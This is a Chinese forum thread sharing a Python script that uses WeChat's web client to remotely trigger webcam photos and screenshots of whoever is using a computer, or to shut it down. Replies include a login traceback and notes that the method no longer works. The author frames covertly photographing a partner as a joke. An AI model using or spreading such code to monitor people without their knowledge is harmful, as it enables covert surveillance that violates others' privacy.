【笔记】【Python远程监控电脑使用-截图-拍照-关机】
本帖最后由 荆棘云海 于 2019-8-16 11:31 编辑先放代码,如下:
import itchat
import os
import time
import cv2
from PIL import ImageGrab
sendMsg = u"{消息助手}:暂时无法回复"
usageMsg = u"使用方法:\n回复 cap 获取当前用户,自动截图和给电脑使用者拍照,并且发送照片到微信。\n" \
u"回复 shutdown电脑关机 \n"
flag = 0 #消息助手开关
nowTime = time.localtime()
filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"
myfile = open(filename,'w')
@itchat.msg_register('Text')
def text_reply(msg):
global flag
message= msg['Text']
fromName = msg['FromUserName']
toName = msg['ToUserName']
if toName == "filehelper":
if message == "cap": #如果回复cap
cap = cv2.VideoCapture(0)
ret, img = cap.read()
cv2.imwrite("weixinTemp.jpg",img)
itchat.send('@img@%s'%u'weixinTemp.jpg', 'filehelper')
cap.release()
#电脑屏幕截图
screen = ImageGrab.grab()
screen.save('./screenShot.png','png')
itchat.send('@img@%s'%u'screenShot.png', 'filehelper')
if message == "shutdown":#如果回复shutdown
os.system('shutdown -s -t 60')
elif flag == 1:
itchat.send(sendMsg,fromName)
myfile.write(message)
myfile.write("\n")
myfile.flush()
if __name__ == '__main__':
itchat.auto_login(hotReload=True)
itchat.send(usageMsg, "filehelper")
itchat.run()
主要利用Python第三方库itchat 库来登录到微信网页端,利用 itchat 来发送消息和接收消息。
并通过调用 opencv 打开电脑摄像头进行拍照,如果这个时候女朋友正在使用电脑:Dweeqw
回复cap:获取当前用户,自动截图和给电脑使用者拍照,并且发送照片到微信。
回复shutdown:电脑关机,估计会被打,慎用,哈哈哈哈哈
以前好像见过类似的帖子。还有手机截图的。 有见过类似的,只是没注意有没有给使用电脑的拍照 请问楼主,这个怎么解决
Getting uuid of QR code.
Downloading QR code.
Please scan the QR code to log in.
Please press confirm on your phone.
Loading the contact, this may take a little while.
Traceback (most recent call last):
File "C:/Users/24526/Desktop/wy/py杂文/拍照关机.py", line 45, in <module>
itchat.auto_login(hotReload=True)
File "D:\python36\lib\site-packages\itchat\components\register.py", line 30, in auto_login
loginCallback=loginCallback, exitCallback=exitCallback)
File "D:\python36\lib\site-packages\itchat\components\login.py", line 66, in login
self.show_mobile_login()
File "D:\python36\lib\site-packages\itchat\components\login.py", line 212, in show_mobile_login
self.loginInfo['url'], self.loginInfo['pass_ticket'])
KeyError: 'pass_ticket' 刚开始学Python,希望和大家一起讨论进步{:1_893:}{:1_893:} 本帖最后由 Charleschr 于 2019-8-16 11:55 编辑
其实还可以再建一个指令电脑文件传输~搭载本地文件搜索引擎使用,微信关键返回查找相似列表,查找电脑文件并传输非常好用
(灵机一动的想法,大佬误喷哈~{:1_907:}) 现在没用了, 不支持微信网页登陆了 这个不错 高手啊!OPENCV由没有教程可以学啊~! 学习了
还能登陆吗现在
页:
[1]